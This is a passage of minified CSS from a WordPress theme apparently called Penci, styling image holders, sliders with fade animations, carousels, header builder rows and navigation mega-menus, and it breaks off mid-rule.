.penci-widget-slider h4{margin-bottom:0}.post-entry .penci-widget-slider h4 a:hover{text-decoration:none}.penci-image-holder{position:relative;width:100%;background:#f5f5f5;display:inline-block;vertical-align:top;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;overflow:hidden}.swiper-slide .penci-image-holder,.swiper-slide a.penci-image-holder{display:block}.penci-image-holder:before{display:block;content:"";width:100%;padding-top:66.6667%;background:0 0!important;box-shadow:none!important}.penci-image-holder.penci-list-nocrop-thumb:before{content:none;padding-top:0}.owl-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],.penci-holder-load:not([style*=background-image]),.penci-image-holder:not([style*=background-image]),.penci-lazy:not(.lazyloaded),.penci-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],.penci-lazy[src*=penci-holder]{background-image:linear-gradient(to left,#f5f5f5 0,#efefef 15%,#f5f5f5 40%,#f5f5f5 100%);background-repeat:no-repeat!important;background-color:#f5f5f5;background-size:900px 1700px!important;animation:pencipreload .6s infinite linear forwards;-webkit-animation:pencipreload .6s infinite linear forwards}.penci-image-holder img{position:absolute;top:0;left:0;right:0;bottom:0;width:100%!important;height:100%!important;object-fit:cover}.penci-lazy[src*=penci-holder]{width:100%;height:auto}.holder-square.penci-lazy[src*=penci-holder]{height:0;padding-bottom:100%}.about-widget img.penci-lazy[src*=penci-holder]{opacity:0}.instagram-square-lazy.penci-lazy[src*=penci-holder]{height:0!important;padding-bottom:100%!important}.footer-widget-wrapper .thumbnails.no-border .instagram-square-lazy.penci-lazy[src*=penci-holder],.penci-sidebar-content .thumbnails.no-border .instagram-square-lazy.penci-lazy[src*=penci-holder]{margin:5px!important;width:calc(100% - 10px)!important}@-webkit-keyframes pencipreload{from{background-position:-800px 0}to{background-position:100px 0}}@keyframes pencipreload{from{background-position:-800px 0}to{background-position:100px 0}}.penci-image-holder.small-fix-size{width:120px}.penci-image-holder.square-fix-size:before{padding-top:100%}.penci-image-holder.rectangle-fix-size:before{padding-top:128%}.penci-image-holder.slider-style-1-fix{height:600px}.penci-image-holder.slider-style-2-fix{width:900px}.penci-image-holder.slider-style-2-fix:before{padding-top:56.7%}.penci-image-holder.slider-style-7-fix:before{padding-top:56.6667%}.penci-image-holder.slider-style-3-fix{height:560px}.featured-style-31 .penci-image-holder:before,.featured-style-32 .penci-image-holder:before{content:none}.pencislider-item .penci-image-holder{position:relative}.pencislider-item .penci-image-holder a{position:absolute;top:0;left:0;right:0;bottom:0;display:block;z-index:1}.pencislider-container{position:absolute;display:block;top:50%;width:100%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);padding:0 40px;z-index:5}.pencislider-container .pencislider-content{display:block;margin:0 auto;max-width:var(--pcctain)}.pencislider-container .pencislider-content .pencislider-title{font-family:var(--pchead-font);font-size:30px;line-height:1.2em;text-transform:uppercase;margin:0;font-weight:var(--pchead-wei)}.pencislider-container .pencislider-content .pencislider-title a{color:inherit;font-size:inherit}.pencislider-container .pencislider-content .pencislider-title span{display:inline-block;vertical-align:top;padding:5px 12px;color:inherit;font-size:inherit;background-color:rgba(0,0,0,.4)}.pencislider-container .pencislider-content .pencislider-caption{font-size:16px;line-height:1.3em;margin:15px 0 0}.pencislider-container .pencislider-content .pencislider-caption span{display:inline-block;vertical-align:top;padding:5px 12px;color:inherit;font-size:inherit;background-color:rgba(0,0,0,.4)}.pencislider-container .pencislider-content .penci-button{margin:25px 0 0;background:0 0;padding:0;vertical-align:top;max-width:100%}.pencislider-container .pencislider-content .pencislider-button{text-decoration:none;display:inline-block;padding:11px 20px 11px;text-transform:uppercase;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;font-family:var(--pchead-font);cursor:pointer;font-size:14px;line-height:1.3;border:none;position:relative;font-weight:var(--pchead-wei)}.pencislider-container .pencislider-content .pencislider-button:hover{opacity:.9}.pencislider-container .pencislider-caption,.pencislider-container .pencislider-content .penci-button,.pencislider-container .pencislider-title{text-align:left;opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s}.pencislider-container.align-center .penci-button,.pencislider-container.align-center .pencislider-caption,.pencislider-container.align-center .pencislider-title{text-align:center}.pencislider-container.align-right .penci-button,.pencislider-container.align-right .pencislider-caption,.pencislider-container.align-right .pencislider-title{text-align:right}.pencislider-container .pencislider-content>:nth-child(1){animation-delay:var(--pcfs-delay)}.pencislider-container .pencislider-content>:nth-child(2){animation-delay:calc(var(--pcfs-delay) + .2s)}.pencislider-container .pencislider-content>:nth-child(3){animation-delay:calc(var(--pcfs-delay) + .4s)}@-webkit-keyframes pencifadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-40px,0);transform:translate3d(0,-40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-40px,0);transform:translate3d(0,-40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-caption,.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-content .penci-button,.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-title{-webkit-animation-name:pencifadeInDown;-moz-animation-name:pencifadeInDown;-o-animation-name:pencifadeInDown;animation-name:pencifadeInDown}@-webkit-keyframes pencifadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes pencifadeInUpSmall{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInUpSmall{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-caption,.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-content .penci-button,.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-title{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp}@-webkit-keyframes pencifadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-50px,0,0);transform:translate3d(-50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-50px,0,0);transform:translate3d(-50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-caption,.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-content .penci-button,.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-title{-webkit-animation-name:pencifadeInLeft;-moz-animation-name:pencifadeInLeft;-o-animation-name:pencifadeInLeft;animation-name:pencifadeInLeft}@-webkit-keyframes pencifadeInRight{0%{opacity:0;-webkit-transform:translate3d(50px,0,0);transform:translate3d(50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInRight{0%{opacity:0;-webkit-transform:translate3d(50px,0,0);transform:translate3d(50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-caption,.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-content .penci-button,.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-title{-webkit-animation-name:pencifadeInRight;-moz-animation-name:pencifadeInRight;-o-animation-name:pencifadeInRight;animation-name:pencifadeInRight}.penci-flat-overlay .penci-slide-overlay .overlay-link{background:0 0!important;opacity:0!important}.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content{bottom:0;left:0;right:0;padding:17px 20px;width:100%}.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{position:absolute;left:0;right:0;bottom:0;top:0;background:#000;opacity:.5;content:"";z-index:1;-webkit-transition:opacity .4s ease 0s;-moz-transition:opacity .4s ease 0s;-o-transition:opacity .4s ease 0s;transition:opacity .4s ease 0s}.penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before{opacity:.7}.penci-flat-overlay .feat-text,.penci-flat-overlay .penci-mag-featured-content .cat{position:relative;z-index:5}.featured-style-22.penci-flat-overlay .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content{bottom:0;padding:10px 5px}.featured-style-28.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content{padding:12px 15px}.featured-style-28.penci-flat-overlay .penci-item-1 .penci-slide-overlay .penci-mag-featured-content{padding:17px 20px}.penci-owl-carousel:not(.penci-owl-loaded){display:block}.penci-owl-carousel:not(.penci-owl-loaded) .penci-featured-content-right,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>div,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>figure,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>img,.penci-owl-carousel:not(.penci-owl-loaded)>div{display:none}.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>div:first-child,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>figure:first-child,.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>img:first-child{display:block}.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper{overflow:hidden}.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:900px;margin-left:auto;margin-right:auto}.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:450px;width:25vw;margin-left:auto;margin-right:auto;position:relative}@media only screen and (max-width:1200px){.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:400px}}@media only screen and (max-width:960px){.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:760px}}@media only screen and (max-width:767px){.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:480px}}@media only screen and (max-width:479px){.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item,.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item{width:360px}}.penci-owl-carousel:not(.penci-owl-loaded) .penci-featured-content{display:none}.penci-owl-carousel:not(.penci-owl-loaded):after,.penci-owl-carousel:not(.penci-owl-loaded):before{content:"";clear:both;display:table}.penci-owl-carousel.penci-headline-posts:not(.penci-owl-loaded):after,.penci-owl-carousel.penci-headline-posts:not(.penci-owl-loaded):before{content:none;clear:none;display:none}@media only screen and (min-width:1170px){.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div{width:16.666666%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div{width:20%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div{width:25%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div{width:33.3333%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-item="2"] .swiper-wrapper>div{width:50%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-item="2"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(4),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(4),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(5),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(4),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(5),.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(6){display:block}}@media only screen and (max-width:1169px) and (min-width:768px){.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div{width:25%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(4){display:block}.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div{width:33.3333%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div:nth-child(3){display:block}.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="2"] .swiper-wrapper>div{width:50%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="2"] .swiper-wrapper>div:nth-child(2){display:block}}@media only screen and (max-width:767px) and (min-width:481px){.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div{width:25%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(3),.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(4){display:block}.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div{width:33.3333%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div:nth-child(2),.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div:nth-child(3){display:block}.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="2"] .swiper-wrapper>div{width:50%;float:left}.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="2"] .swiper-wrapper>div:nth-child(2){display:block}}.pc-wrapbuilder-header{--pchb-socialw:28px;--pchb-m-socialw:28px}.pc-wrapbuilder-header .container{max-width:100%}.pc-wrapbuilder-header .container.container-1400{max-width:var(--pcctain2)}.penci_nav_row{position:relative;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:100%;margin-left:-10px;margin-right:-10px}.pchb-boxed-layout .penci_nav_row{margin-left:10px;margin-right:10px}.penci_nav_normal{flex:0 0 auto}.pcmiddle-center .penci_nav_center,.pcmiddle-center .penci_nav_left,.pcmiddle-center .penci_nav_right{display:flex;flex-direction:row;align-items:center}.pcmiddle-center .penci_nav_left,.pcmiddle-center .penci_nav_right{flex:1 1 0}.pcmiddle-center .penci_nav_left,.pcmiddle-normal .penci_nav_alignleft{justify-content:flex-start}.pcmiddle-center .penci_nav_right,.pcmiddle-normal .penci_nav_alignright{justify-content:flex-end}.pcmiddle-center .penci_nav_aligncenter,.pcmiddle-normal .penci_nav_aligncenter{justify-content:center}.pcmiddle-normal .penci_nav_center{flex:1 1 0}.pc-builder-menu .navigation{background-color:transparent;border:0;height:auto}.penci-desktop-bottombar,.penci-desktop-midbar,.penci-desktop-sticky-bottom,.penci-desktop-sticky-mid,.penci-desktop-sticky-top,.penci-desktop-topbar,.penci-mobile-bottombar,.penci-mobile-midbar,.penci-mobile-topbar{padding-top:10px;padding-bottom:10px;background-size:cover;background-repeat:no-repeat;background-attachment:scroll}.penci-desktop-bottombar.pc-noel,.penci-desktop-midbar.pc-noel,.penci-desktop-sticky-bottom.pc-noel,.penci-desktop-sticky-mid.pc-noel,.penci-desktop-sticky-top.pc-noel,.penci-desktop-topbar.pc-noel,.penci-mobile-bottombar.pc-noel,.penci-mobile-midbar.pc-noel,.penci-mobile-topbar.pc-noel{padding-top:0;padding-bottom:0}.penci-desktop-bottombar,.penci-desktop-bottomblock,.penci-desktop-midbar,.penci-desktop-topbar,.penci-desktop-topblock{background-color:#fff}.penci-header-trans .penci-desktop-bottombar,.penci-header-trans .penci-desktop-bottomblock,.penci-header-trans .penci-desktop-midbar,.penci-header-trans .penci-desktop-topbar,.penci-header-trans .penci-desktop-topblock{background-color:transparent}.penci_header_overlap .penci-desktop-bottombar,.penci_header_overlap .penci-desktop-bottomblock,.penci_header_overlap .penci-desktop-midbar,.penci_header_overlap .penci-desktop-topbar,.penci_header_overlap .penci-desktop-topblock{background-color:transparent}.penci-desktop-bottombar.bg-transparent,.penci-desktop-bottomblock.bg-transparent,.penci-desktop-midbar.bg-transparent,.penci-desktop-topbar.bg-transparent,.penci-desktop-topblock.bg-transparent{background-color:transparent!important}.pc-wrapbuilder-header{margin-bottom:var(--pchd-mg)}.elementor-template-full-width .pc-wrapbuilder-header,.page-template-page-fullwidth .pc-wrapbuilder-header{margin-bottom:0}.pc-wrapbuilder-header .header-social .inner-header-social{display:flex;position:relative}.pc-wrapbuilder-header #penci_off_canvas .header-social .inner-header-social{display:inline-block}@media only screen and (max-width:479px){#penci_off_canvas .penci-builder-element.header-social a{margin-bottom:10px}}.pc-wrapbuilder-header .header-social.mobile-social .inner-header-social{justify-content:center}.single.penci-body-single-style-10 #header,.single.penci-body-single-style-10 .pc-wrapbuilder-header,.single.penci-body-single-style-5 #header,.single.penci-body-single-style-5 .pc-wrapbuilder-header,.single.penci-body-single-style-6 #header,.single.penci-body-single-style-6 .pc-wrapbuilder-header{--pchd-mg:40px}.navigation{background:#fff;height:60px;z-index:9999;width:100%;-webkit-backface-visibility:hidden;border-bottom:1px solid #ececec;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.navigation.mobile-menu,.navigation.pc-elehd-menu{background-color:transparent;height:unset}.navigation.pc-elehd-menu{border:0;display:flex}.post-entry .navigation.pc-elehd-menu>ul{padding:0;list-style:none}.post-entry .navigation.pc-elehd-menu>ul li{list-style:none}.navigation.pchdvertical-enabled .menu .sub-menu{top:0;left:100%}.navigation.pchdvertical-enabled ul.menu>li.menu-item-has-children>a:after{content:'\f105'}.navigation.pchdvertical-enabled ul.menu>li{float:none;display:block}.wrapper-boxed.enable-boxed .navigation{transition:height .3s,box-shadow .3s;-webkit-transition:height .3s,box-shadow .3s;-moz-transition:height .3s,box-shadow .3s}.navigation.sticky-active{z-index:99999}.navigation.header-layout-bottom{box-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;-moz-box-shadow:0 0 0 transparent;border-top:1px solid #ececec}.is-sticky .navigation{box-shadow:0 1px 5px rgba(190,190,190,.46);-webkit-box-shadow:0 1px 5px rgba(190,190,190,.46);-moz-box-shadow:0 1px 5px rgba(190,190,190,.46);border-color:transparent!important}.wrapper-boxed.enable-boxed .is-sticky .navigation{margin:0 auto;left:0;right:0;width:100%;max-width:calc(var(--pcctain) + 60px)}.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed .is-sticky .navigation{max-width:calc(var(--pcctain2) + 30px)}.slicknav_menu{display:none}.navigation .container{position:relative;display:table;text-align:center}.navigation .container .inner-top-navigation{display:inline-block;vertical-align:top}.navigation .menu{float:left}.navigation .menu>ul>li,.navigation ul.menu>li{display:inline-block;position:relative;float:left;margin-right:30px}.navigation .menu>li:last-child,.navigation .menu>ul>li:last-child{margin-right:0}.navigation .menu>li>a,.navigation .sub-menu>li>a{font-family:var(--pchead-font);font-size:12px;color:#313131;text-transform:uppercase;display:inline-block;-o-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;position:relative;font-weight:var(--pchead-wei);text-decoration:none}.navigation .menu>li>a{line-height:58px}.navigation .menu>li>a>i,.navigation .sub-menu li>a>i{font-size:13px;margin-right:5px}.navigation .menu>ul.sub-menu>li>a:before,.navigation ul.menu>li>a:before{content:"";position:absolute;bottom:calc(50% - 12px);transition:all .2s;-webkit-transition:all .2s;-moz-transition:all .2s;left:50%;height:2px;width:0;background:var(--pcaccent-cl)}.navigation .menu>ul>li:hover>a:before,.navigation .menu>ul>li>a:hover:before,.navigation ul.menu>li:hover>a:before,.navigation ul.menu>li>a:hover:before{left:0;width:100%}.navigation .menu li.current-menu-item>a,.navigation .menu li:hover>a,.navigation .menu li>a:hover,.navigation .menu>li.current-menu-ancestor>a,.navigation .menu>li.current-menu-item>a,.navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}.navigation .menu>ul>li>a>img,.navigation ul.menu>li>a>img{vertical-align:middle}.navigation .button-menu-mobile{display:none;float:left;text-align:center;color:#313131;font-size:21px;cursor:pointer;transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s}@media only screen and (max-width:960px){.penci-hlogo-center .penci-mobile-hlogo{float:none;margin:0;position:absolute;left:50%;top:0;transform:translateX(-50%);-webkit-transform:translateX(-50%);z-index:10}.penci-mobile-hlogo{display:inline-block}}.pb-logo-sidebar-mobile{text-align:center}.navigation .menu .children,.navigation .menu .sub-menu{visibility:hidden;opacity:0;position:absolute;left:0;z-index:9999;box-shadow:0 3px 3px rgba(190,190,190,.6);-webkit-box-shadow:0 3px 3px rgba(190,190,190,.6);-moz-box-shadow:0 3px 3px rgba(190,190,190,.6);border-top:1px solid #ececec;margin-top:0;background:#fff}body.penci-hsubmenu-overlay .navigation .menu .children,body.penci-hsubmenu-overlay .navigation .menu .sub-menu{box-shadow:0 3px 3px rgba(34,33,33,.6);-webkit-box-shadow:0 3px 3px rgba(34,33,33,.6);-moz-box-shadow:0 3px 3px rgba(34,33,33,.6)}.navigation ul.menu ul.sub-menu li a{margin:0 20px;padding:12px 0;font-size:12px;min-width:200px;line-height:1.4;-moz-transition:color .3s,background-color .3s;-webkit-transition:color .3s,background-color .3s;transition:color .3s,background-color .3s;border-bottom:1px solid #e0e0e0;text-align:left;border-left:none!important;position:relative;overflow:hidden;vertical-align:top}.navigation ul.menu ul ul.sub-menu li,.navigation ul.menu ul.sub-menu li{padding-right:0;margin-right:0;float:none;position:relative;width:100%}.navigation .menu ul.sub-menu>li:last-child>a{border-bottom:none}.navigation .menu .children ul,.navigation .menu .sub-menu ul{left:100%;top:0}.navigation .menu li.penci-mega-menu{position:static!important}#navigation .menu li.penci-block-mega.penci-megapos-center,#navigation .menu li.penci-block-mega.penci-megapos-flexible,.navigation .menu li.penci-block-mega.penci-megapos-center,.navigation .menu li.penci-block-mega.penci-megapos-flexible{position:relative!important}li.penci-mega-menu>ul.sub-menu{display:none}#sidebar-nav li.penci-mega-menu .penci-content-megamenu,.penci-menu-hbg li.penci-mega-menu .penci-content-megamenu{display:none!important}.navigation .menu li.penci-mega-menu>ul.sub-menu{width:100%;padding:0!important;clear:both;display:block}.navigation .menu li.penci-block-mega.penci-mg-fullwidth{position:static!important;--pcctnspc:0}.navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu{width:100vw!important;left:calc((100vw - var(--pcctain))/ 2 * -1 + 10px - var(--pcctnspc))!important}.navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu>.container{width:100%}.navigation .penci-megamenu{width:100%;display:table}.navigation .penci-megamenu .penci-mega-child-categories{width:230px;display:table-cell;vertical-align:top;background:#fff;padding:20px 0;position:relative}.navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom{display:table-footer-group;width:100%;text-align:center}.navigation .penci-megamenu .penci-mega-child-categories.pcmit-top{display:table-row;width:100%;text-align:center}.navigation .penci-megamenu .penci-mega-child-categories:after{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background-color:#ececec}.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a{min-width:0;display:block;font-size:12px;text-align:right;line-height:1.4em;margin:0;padding:12px 20px;border-top:1px solid transparent;border-bottom:1px solid transparent;position:relative}.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a{display:inline-block}.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active{border-top-color:#ececec;border-bottom-color:#ececec;background:#fff;color:var(--pcaccent-cl);z-index:10;position:relative}#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.cat-active,.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.cat-active{border-bottom-color:transparent}#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a.cat-active,.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a.cat-active{border-top-color:transparent}.navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background:#fff;z-index:1;transition:none;-webkit-transition:none;-moz-transition:none}.navigation .penci-megamenu .penci-content-megamenu{display:table-cell}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts{padding:20px 10px 0 10px}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-row{width:100%;display:none;vertical-align:top}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{width:20%;padding:0 10px;float:left;margin-bottom:15px;position:relative}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post{width:25%}.navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),.navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1){clear:both}.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1){clear:both}.penci-megamenu .penci-image-holder:before{padding-top:66.6667%}@media only screen and (min-width:1800px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:14.2857%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:16.66666%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(6n+1),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(7n+1){clear:both}}@media only screen and (max-width:1799px) and (min-width:1500px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:16.66666%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:20%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(6n+1){clear:both}.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1){clear:none}}@media only screen and (max-width:1799px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(6),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(11),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(12),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(16),.navigation .penci-megamenu .penci-content-megamenu 